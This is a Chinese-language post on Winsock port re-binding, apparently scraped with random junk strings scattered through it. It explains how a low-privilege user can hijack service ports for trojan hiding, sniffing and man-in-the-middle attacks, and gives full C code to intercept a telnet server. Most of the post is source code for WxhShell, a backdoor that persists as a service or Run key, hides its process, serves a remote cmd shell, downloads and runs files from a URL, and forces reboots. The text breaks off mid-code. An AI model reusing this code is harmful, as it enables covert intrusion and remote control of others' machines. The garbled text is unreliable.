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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: N1"p ;czK s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); T8d=@8g,% _%#Uh#7P$ saddr.sin_family = AF_INET; NMUF)ksjN [3x},KM saddr.sin_addr.s_addr = htonl(INADDR_ANY); i*@ZIw %,e,KcP' bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); _7~q| x=kJlGT 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 z m]R76 {a15s6'd 这意味着什么?意味着可以进行如下的攻击: g |H $k`j";8uR 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5
ed|]LP (LJ7xoJ^ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) }aQ*1V cj [Y
j:H 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 HDaeJk 6C/Pu!Sx? 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 }<&?t; mP's4 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 BqUwvB4 t+\<i8 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 }pGjc_:'] {ft |* 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 K(HrwH`a{ p_)ttcpi1 #include 9$D}j" #include `gyke2n #include /F6"uZSt4 #include 5K-,k^T} DWORD WINAPI ClientThread(LPVOID lpParam); *Uy;P>8 int main() WD! " $ { RxNLn/?d@ WORD wVersionRequested; ?FwHqyFVlQ DWORD ret; L
>)|l WSADATA wsaData; W8r"dK BOOL val; 1(RRjT9 SOCKADDR_IN saddr; I:6XM? SOCKADDR_IN scaddr; eu":\ks int err; Z?V vFEt% SOCKET s; <PM.4B@ SOCKET sc; Spin]V int caddsize; 3Tp8t6*nL HANDLE mt; 2EYWX!Bx DWORD tid; Y*{5'q+2 wVersionRequested = MAKEWORD( 2, 2 ); c
*<m. err = WSAStartup( wVersionRequested, &wsaData ); btC6R>0 if ( err != 0 ) { +KWO`WR printf("error!WSAStartup failed!\n"); 6/ T/A+u return -1; P&<NcOCL& } Onou:kmf1 saddr.sin_family = AF_INET; Q2:rWE{K! %oquHkX%OJ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 lCBH3-0^ *{5/" H5 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ;=k{[g 'gv saddr.sin_port = htons(23); -yb7s2o if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) kD7'BP/# { _18Z]XtX printf("error!socket failed!\n"); 5NhAb$q2Y return -1; qq3/K9 #y } ?%#no{9 val = TRUE; K\zb+ //SO_REUSEADDR选项就是可以实现端口重绑定的 }E[vW if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) dvz6 { 3\{\ al printf("error!setsockopt failed!\n"); Zg0nsNA
return -1; Qwve-[ } 4mtO"'| //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; fEiNHV x //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ]w0Y5H " //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *YGj^+ Y3s8@0b3 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) m AET`B " { E9Dy)f]#W ret=GetLastError(); ecO$L<9> printf("error!bind failed!\n");
+U%epq return -1; q&_\A0 } @&%/<|4P5 listen(s,2); :UAcS^n7h" while(1) />pAZa { k\9kOZW caddsize = sizeof(scaddr); QDVSFGwr //接受连接请求 2v;&`04V< sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Bj9FSKiH if(sc!=INVALID_SOCKET) 5wha _Yet { !&3"($-U3G mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); +$xw0)| if(mt==NULL) ;' |CSjco { 9_.pLLx printf("Thread Creat Failed!\n"); SGba6b31 break; cIC/3g}] } {'B(S/Z7 } >j*0fb!:] CloseHandle(mt); Z;BEUtR
c } rdtzz#7 closesocket(s); ~66v.`K! WSACleanup(); A f!`7l- return 0; E:+r.r"Y } 6@3v+Vf' DWORD WINAPI ClientThread(LPVOID lpParam) !!8;ZcL}Z { ZX.,<vumSy SOCKET ss = (SOCKET)lpParam; g& f)WQ( SOCKET sc; -3wid1SOm unsigned char buf[4096]; g_k95k3V' SOCKADDR_IN saddr; b'`XFB#V long num; B1s&2{L6K DWORD val; {7MY*&P$, DWORD ret; v6| [p //如果是隐藏端口应用的话,可以在此处加一些判断 ,\#j6R,{I //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 kmo#jITa` saddr.sin_family = AF_INET; ' V*}d saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); w7Mh8'P54 saddr.sin_port = htons(23); u,}>I%21 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) DMs8B&Y= { 9C{Xpu printf("error!socket failed!\n"); -nX{&Z3-s return -1; Pth4_]US } x1STjI>i val = 100; $}5M`p\&C if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Z=;=9<vA { e%4vvPp ret = GetLastError(); {f*{dSm9b return -1; %[ *+ }
"*V'
if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) X56q,jCJ{ { &gJ@"`r4 ret = GetLastError(); |u$*'EsP return -1; w)1SZ} } WE_'u+!B if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) SB5qm?pT8< { b"`fS`@/MW printf("error!socket connect failed!\n"); H@ty'z? closesocket(sc); M?hPlo"_ closesocket(ss); K`ygW|?gt return -1; LWSy"Cs* } 3m2y<l< while(1) dl |$pm@x { h.Sbds //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 s|Vs#o.P) //如果是嗅探内容的话,可以再此处进行内容分析和记录 .i*ja* //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 NS+uiy num = recv(ss,buf,4096,0); '%:E4oI if(num>0) 1rU\ !GfR send(sc,buf,num,0); B6\/xKmv?8 else if(num==0) S$R=!3* "V break; eb,QT\/G num = recv(sc,buf,4096,0); ^h#A7 g if(num>0) +iQ~ Y2Gh send(ss,buf,num,0); K;s` else if(num==0) v<g#/X8 break; V \FlKC } f`\J%9U _O closesocket(ss); mUR[;;l closesocket(sc); &9.3-E47* return 0 ; 5GPAt } Vhb~kI!x b}u#MU [xDIK8d:I ========================================================== 9)j"|5H KBI1t$ 下边附上一个代码,,WXhSHELL t=p"nIE
:J )^gc ========================================================== FT}^Fi7 %$Q!'+YW #include "stdafx.h" /BF7N3 VeQ [A?pER #include <stdio.h> 1hV&/Qr #include <string.h> /w2IL7} #include <windows.h> ~{kA;uw #include <winsock2.h> >SYOtzg% #include <winsvc.h> je>gT`8 #include <urlmon.h> @wP.Rd _n4`mL8>kH #pragma comment (lib, "Ws2_32.lib") ,5K&f\ #pragma comment (lib, "urlmon.lib") BCd0X. m( ^BI&-bR@ #define MAX_USER 100 // 最大客户端连接数 a<+Rw{ #define BUF_SOCK 200 // sock buffer ,p\*cHB9 #define KEY_BUFF 255 // 输入 buffer ,pkzNe`F `fVzY"Qv k #define REBOOT 0 // 重启 cRf;7G #define SHUTDOWN 1 // 关机 ~Sd,Tu%: 5VfpeA` #define DEF_PORT 5000 // 监听端口 y4!fu<[i o5Knot)Oy #define REG_LEN 16 // 注册表键长度 [r'hX# #define SVC_LEN 80 // NT服务名长度 x0TE+rf5 soKR*gJ, // 从dll定义API a{?>F&vnU typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); o+R(ux" typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); I4c%>R typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )_kEy>YscZ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4L,&a+) b~8&P_ // wxhshell配置信息 CyB1`&G> struct WSCFG { U[#q"'P|l int ws_port; // 监听端口 $.B}zY{ char ws_passstr[REG_LEN]; // 口令 ~ r$I&8 int ws_autoins; // 安装标记, 1=yes 0=no _qQo}|/q char ws_regname[REG_LEN]; // 注册表键名 :n
x;~f char ws_svcname[REG_LEN]; // 服务名 SBw'z(U char ws_svcdisp[SVC_LEN]; // 服务显示名 _,- \; char ws_svcdesc[SVC_LEN]; // 服务描述信息 )S_%Ip char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )MX%DQw int ws_downexe; // 下载执行标记, 1=yes 0=no %U1HvmyK char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" Vr&v:8:wb char ws_filenam[SVC_LEN]; // 下载后保存的文件名 pcm1IwR` tfe'].uT }; Z@Qf0
c 2"Y=*s // default Wxhshell configuration 1fF\k#BE-% struct WSCFG wscfg={DEF_PORT, #`"B
YFV[E "xuhuanlingzhe", >v%UV:7ap 1, `]Vn[^?D "Wxhshell", $,T3vX]< "Wxhshell", .3
^*_ "WxhShell Service", q#Ik3 5 "Wrsky Windows CmdShell Service", Yc(lY
N "Please Input Your Password: ", _ `7[}M~ 1, Pp|pH|(n , " http://www.wrsky.com/wxhshell.exe", fK=vLcH "Wxhshell.exe" wp-3U}P2( }; 23q2u6.F` `7',RUj|D // 消息定义模块 _'s5FlZq char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \z2d=E char *msg_ws_prompt="\n\r? for help\n\r#>"; dBW#PRg char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; <5sfII char *msg_ws_ext="\n\rExit."; } x'o`GuUf char *msg_ws_end="\n\rQuit.";
+!wkTrV char *msg_ws_boot="\n\rReboot..."; 8EI&}I char *msg_ws_poff="\n\rShutdown..."; Z,b^f
Vw char *msg_ws_down="\n\rSave to "; a&R,jq 1+Y;
"tT char *msg_ws_err="\n\rErr!"; .fY$$aD$4 char *msg_ws_ok="\n\rOK!"; s|"4!{It nON"+c* char ExeFile[MAX_PATH]; v/wR)9 int nUser = 0; 061 f HANDLE handles[MAX_USER]; Ob-k`@_| int OsIsNt; )v.\4Q4 ]JI
A\|b6 SERVICE_STATUS serviceStatus; 0j{KZy SERVICE_STATUS_HANDLE hServiceStatusHandle; a3(f\MMxE y? 65*lUl // 函数声明 aK9zw int Install(void); MK4CggoC int Uninstall(void); #kQLHi3## int DownloadFile(char *sURL, SOCKET wsh); z.kBQ{P int Boot(int flag); %M05& < void HideProc(void); {|@N~c+ int GetOsVer(void); Wy$Q!R=i int Wxhshell(SOCKET wsl); \G1(r=fU void TalkWithClient(void *cs); /M_kJe,% int CmdShell(SOCKET sock); DRi/< int StartFromService(void); nL!nzA int StartWxhshell(LPSTR lpCmdLine); c1_?Z {*4Z9.2c* VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \V.U8asfI VOID WINAPI NTServiceHandler( DWORD fdwControl ); _]=, U.a=/ VnMiZAHR // 数据结构和表定义 8m)E~6 SERVICE_TABLE_ENTRY DispatchTable[] = OB~74}3; { Ga^k1TQq {wscfg.ws_svcname, NTServiceMain}, ,Onu% {NULL, NULL} {pB9T3ry] }; v#+tu,)V; 2VS#=i(B^ // 自我安装 /ec~^S8X int Install(void) rkWW)h(e { k\M">K0E char svExeFile[MAX_PATH]; BH=CoD. HKEY key; z3-AYQ.H strcpy(svExeFile,ExeFile); u\G\KASUK% hn u/ // 如果是win9x系统,修改注册表设为自启动 YyR~pT#ffT if(!OsIsNt) { HnfTj 5J@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +UP?M4g RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \t@|-` RegCloseKey(key); vweD{\b if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =").W \, RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); eM`"$xc
Oe RegCloseKey(key); aA.TlG@zP return 0; y<5xlN(+v } uM~j } .](s\6' } D$c4's`5 else { S-+^L| ]7{-HuQ8>} // 如果是NT以上系统,安装为系统服务 n7Ia8?8-l SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); U
z6XQskX if (schSCManager!=0) mCx6$jz { Ok~\ SC_HANDLE schService = CreateService $eBE pN ( 7gQ~"Q schSCManager, I^6zUVH wscfg.ws_svcname, Q}jl1dIq wscfg.ws_svcdisp, ?2b9N ~ SERVICE_ALL_ACCESS, [VP~~*b SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .oo>NS SERVICE_AUTO_START, Fc<+N0M{ SERVICE_ERROR_NORMAL, g @lAk%V4 svExeFile, mWM!6" NULL, ZK]C!8\2| NULL, |bz,cvlP
W NULL, ]={{$}8. NULL, bdCpGG9 NULL etH%E aF[ ); dGzZ_Vf if (schService!=0) Oj0/[(D- { `W8dayZt CloseServiceHandle(schService); qcfLA~y CloseServiceHandle(schSCManager); 5<ycF_ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); u|D_"q~+6 strcat(svExeFile,wscfg.ws_svcname); A3N<;OOk if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { AHhck?M^ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9_GR\\ RegCloseKey(key); cv["Ps#;`W return 0; aNCIh@m~ } wy$9QN } lH ^[b[ CloseServiceHandle(schSCManager); R@r"a&{/ } r#pC0Yj!3 } _`zj^*% 6F3#Rxh return 1; 7=8e|$K_ } 5!G}*u. I%whM~M1+ // 自我卸载 3say&|kJ int Uninstall(void) LdAfY0 { "tbKKh66 HKEY key; /%U+kW a ^b_&}y if(!OsIsNt) { Bn/{J if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wvA@\-.+ RegDeleteValue(key,wscfg.ws_regname); igsJa1F RegCloseKey(key); v>71?te if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @DrMaTr RegDeleteValue(key,wscfg.ws_regname);
/E@| RegCloseKey(key); $R7n1 return 0; ?8n`4yO0 } DxT8;`I% } gX34'<Z } n-{G19? else { p/xxoU Nq)=E[$ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); n||/3-HDj if (schSCManager!=0) _}7N,Cx { =x~HcsJ8!R SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +)FB[/pXk if (schService!=0) W9?Vh{w { T'l >$6 if(DeleteService(schService)!=0) { {ls$#a+d CloseServiceHandle(schService); gfs?H # CloseServiceHandle(schSCManager); 'kK}9VKl return 0; Y`3>i,S6\ } wbzAX CloseServiceHandle(schService);
wEo/H } %uyRpG3, CloseServiceHandle(schSCManager); {|6(_SM| } l=ZhHON } Dm[4`p@IY\ ]w(i,iJ return 1; 2*5Z|
3aX } XU .FLNe
WLEjRx // 从指定url下载文件 uHUicZf. int DownloadFile(char *sURL, SOCKET wsh) V7!x-E/ { XFPWW , HRESULT hr; DGTSk9iK( char seps[]= "/"; 1_!*R]a q char *token; :~pPB#)nk char *file; m0W5O gk char myURL[MAX_PATH]; 1+PLj[;jJ: char myFILE[MAX_PATH]; <DCrYt!1}c %^g BDlR^ strcpy(myURL,sURL); Y0=qn'`. token=strtok(myURL,seps); /z*?:* while(token!=NULL) ,K8O<Mw8 { GH![rK file=token; b:Dr_| token=strtok(NULL,seps); ` ej } 2;NIUMAMM v"Fa_+TVx GetCurrentDirectory(MAX_PATH,myFILE); GmB7@-[QA% strcat(myFILE, "\\"); b,8W
| strcat(myFILE, file); 6e$(-ai send(wsh,myFILE,strlen(myFILE),0); wGE:U` send(wsh,"...",3,0); Aq}]{gfQ1 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _mKO4Atw if(hr==S_OK)
Q d]5e return 0; e;R5A6| else B i?DmrH return 1; vDz)q PBb@J'b } >n)N=Zyu V4}9f5FR // 系统电源模块 RX%*:lXi_ int Boot(int flag) !MNUp(: { w%)=`'s_ HANDLE hToken; k`6T% [D] TOKEN_PRIVILEGES tkp; Zg%U4m: l~wx8
,?G if(OsIsNt) { P}y}IR{6 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^_r8R__S: LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); eXWiTi@ tkp.PrivilegeCount = 1; ]QM6d(zDA tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )Fk%,H-1 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `9Zoq=/ if(flag==REBOOT) { .0S.7w3dZo if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) b40zYH`'{ return 0; 5 @bLDP } KD*,u{v; else {
!9DqW&8 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ' D+h_*H return 0; tWD~|<\. ) } d>}pz } W`K XO|'p@ else { xxgS!J if(flag==REBOOT) { f2B?Zn if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) G*ZHLLO4S\ return 0; &!vJ3: } kN>%y&cK else { c%r?tKG6 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }kdYR#{s return 0; V}=9S@$o } Id(o6j^J_ } =xWZJ:UnU \zw0*;&U return 1; ~cVFCM } deHhl(U; DTk)Y-eQ // win9x进程隐藏模块 \T'uFy9&a void HideProc(void) 11}X2j~Ww { (EGsw o mnu4XE#| HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); So\(]S if ( hKernel != NULL ) Q5b?-
P { h.ojj$f, pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *fso6j#% ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); RxY
;'NY FreeLibrary(hKernel); -mOSB(#bo } A9ia[2[ e3UGYwQ return; q
[Rqy !, } c_<m8b{AEF PuqT&|wP l // 获取操作系统版本 ehl){Dd^ int GetOsVer(void) }(z[
rZ { _>%P};G{> OSVERSIONINFO winfo; RrRrB"!8nR winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); N_lQz(nG/2 GetVersionEx(&winfo); j1%o+#df if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) k`U")lv return 1; Ol6jx%Je` else I4:4)V? return 0; {v+,U} } \:-#,( .V 0m$f9b|Q? // 客户端句柄模块 ^AdHP!I int Wxhshell(SOCKET wsl) O%;H#3kn&s { -"[o|aa^ SOCKET wsh; |}
;&xI struct sockaddr_in client; X:bv
?o>Y DWORD myID; ~q4KQ&.! %bgjJ` while(nUser<MAX_USER) i,1=5@rw5 { 2W:R{dHE int nSize=sizeof(client); 3
HOJCgit wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Gf(hN|X. if(wsh==INVALID_SOCKET) return 1; Q;W[$yvW O|=5+X handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); losm< if(handles[nUser]==0) [ Hw closesocket(wsh); rXc-V},az8 else L|.q19b* nUser++; 5wYYYo= }
?TA%P6Lw WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); r:lv[/D iz!E1(z( return 0; B/.+&AJw } *F0O*n*7W |VxEWU/ // 关闭 socket )Kkw$aQI"d void CloseIt(SOCKET wsh) 0YK`wuZGS { 8}z]B^?Fy closesocket(wsh); yH5^EY7rQ nUser--; 5S`_q& ExitThread(0); XG FjqZr` } oU`8\n]( /RU'~( // 客户端请求句柄 qpzzk9ba[ void TalkWithClient(void *cs) GSo&$T;B6 { l]t9*a]a jN
9|q SOCKET wsh=(SOCKET)cs; "&;8U. char pwd[SVC_LEN]; n " ?It char cmd[KEY_BUFF]; FeOo;|a char chr[1]; ,PC'xrEo int i,j; XCr\Y`,Z@ gv)F`uRWA while (nUser < MAX_USER) { 4Gz5Ju yN}upYxp if(wscfg.ws_passstr) { FN jT?* if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Cq\1t //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !wP|t#Sc9 //ZeroMemory(pwd,KEY_BUFF); =OY&;d!C i=0; !lxs1!: while(i<SVC_LEN) { ML@-@BaN 0qP&hybL[( // 设置超时 OiBDI3,|+ fd_set FdRead; b-4gHW struct timeval TimeOut; 7OuzQzhcK FD_ZERO(&FdRead); n[DQ5l FD_SET(wsh,&FdRead); &D@/_m $ TimeOut.tv_sec=8; n.9k< TimeOut.tv_usec=0; '](4g/% int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); T,N"8N{K" if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); rHe*/nN%* M]9oSi if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I#lvaoeN pwd =chr[0]; b^
wWg if(chr[0]==0xd || chr[0]==0xa) { R-odc,P= pwd=0; ~DY5`jV break; d'j8P } @;>i3? i++; OS|uZ<"Rq3 } ybnq;0}$ 5A| 4 // 如果是非法用户,关闭 socket 4cZig\mE; if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9{&APxm } ttQX3rmF01 i>=d7'oR send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "p]F q, send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +!_?f'kv` &?+ vHE} while(1) { ifA=qn0=} cfZG3" ZeroMemory(cmd,KEY_BUFF); &qR1fbw" ]LGp3)T- // 自动支持客户端 telnet标准 lIR0jgP@z j=0; !%w#h0(b while(j<KEY_BUFF) { D2hEI2S if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OPm?kr cmd[j]=chr[0]; Xxl>,QUA if(chr[0]==0xa || chr[0]==0xd) { 4a'O#;ho cmd[j]=0; ~vf&JH'! break; z9> yg_Q } 9{OH%bF j++; W40GW } {8L)Fw 31BN ?q // 下载文件 .aRL'1xHl if(strstr(cmd,"http://")) { &&1q@m,cP send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6~ g:"} if(DownloadFile(cmd,wsh)) 7ko7)"N send(wsh,msg_ws_err,strlen(msg_ws_err),0); *%0f^~!G<p else 3YY<2< send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WIwbf |\ } ;bt@wgY else { Y`FGD25` ] o!#]] switch(cmd[0]) { j/zD`ydj `_2#t1`u // 帮助 +MQvq\%tG case '?': { 7f4R5c send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S}"?#=Q.%O break; Pn{yk`6E } -KRHcr \ // 安装 @5gZK[?|I case 'i': { ?FRR"; if(Install()) Y^dVNC3vd send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q*TxjE7K
else {HqwpB\@ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Df_W>QC break; &`7~vA&c } ':,6s // 卸载 )k&pp^q\ case 'r': { ujcS>XN,1 if(Uninstall()) `92 D]^g send(wsh,msg_ws_err,strlen(msg_ws_err),0); }9C5U>? else "X']_:F1a send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ow\9vf6H break; }?P~qJ|1 } t\2myR3 // 显示 wxhshell 所在路径 }@'xEx case 'p': { -X@;"0v char svExeFile[MAX_PATH]; oeXNb4; 4 strcpy(svExeFile,"\n\r"); >J=x";,D|~ strcat(svExeFile,ExeFile); YtQKsM send(wsh,svExeFile,strlen(svExeFile),0); > qA5 break; i_GE9A=h } A>L(#lz#ek // 重启 Fqzk/m case 'b': { JxQwxey{ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *jWU8.W if(Boot(REBOOT)) PF .sM( send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~H0~5v F else { </y V closesocket(wsh); a@@!Eg
A ExitThread(0); vg5zsR0u } 8Gb=aF1 break; hoC}@8_ } .Jdw: // 关机 ?Di,' case 'd': { Fga9 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @{_PO{=\C if(Boot(SHUTDOWN)) o,) p *glO send(wsh,msg_ws_err,strlen(msg_ws_err),0); *9^CgLF else { f/)3b`$Wu closesocket(wsh); Pi?*rr5WZ ExitThread(0); Rn{q/h } 2h&pm break; ;J\{r$q } BN4dr9T // 获取shell )<.S3 case 's': { pb%#`2" CmdShell(wsh); 3Gn2@`GC closesocket(wsh); \Y9=dE} ExitThread(0); ^J>28Q\S break; ~E^EF{h
} gx[#@( // 退出 M;MD-|U case 'x': { _|8"&*T^ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *Oz5I CloseIt(wsh); |
7>1) break; zJ9ZqC] } z!Kadqns // 离开 hl~(&D1^ case 'q': { ;$i9gP[|m send(wsh,msg_ws_end,strlen(msg_ws_end),0); @
x*#7Y closesocket(wsh); F__>`Dol WSACleanup(); qe(X5?#; exit(1); q1dYiG.-Z break; 5, Yk5?l<' } v,>F0ofJ } @=wAk5[IN } 54F([w 8zj09T[ // 提示信息 l^`!:BOtR if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k9 *0xukJ } |r-<t } ^Hq}9OyS9 kq%`9,XE return; 6}NvVolr } GWE`'V hQGZrZK# // shell模块句柄 P>N\q int CmdShell(SOCKET sock) ;JL@V}L, { aDZLabRu STARTUPINFO si; A#1y>k ZeroMemory(&si,sizeof(si)); iI&SI#;
_ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R&xD|w8UjM si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; q=nMZVVlF( PROCESS_INFORMATION ProcessInfo; ;
wHuL\ char cmdline[]="cmd"; [ z$J CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); La9@h" return 0; 3al5Vu2: } 5 #kvb$97 !d(!1fC // 自身启动模式 g<.8iW 'c int StartFromService(void) |e< U %v { coLn};W2 typedef struct 0>e>G (4(8 { P;_dilG DWORD ExitStatus; jB1\L<P DWORD PebBaseAddress; 1~`gfHI4 DWORD AffinityMask; |x5w;= DWORD BasePriority; W'
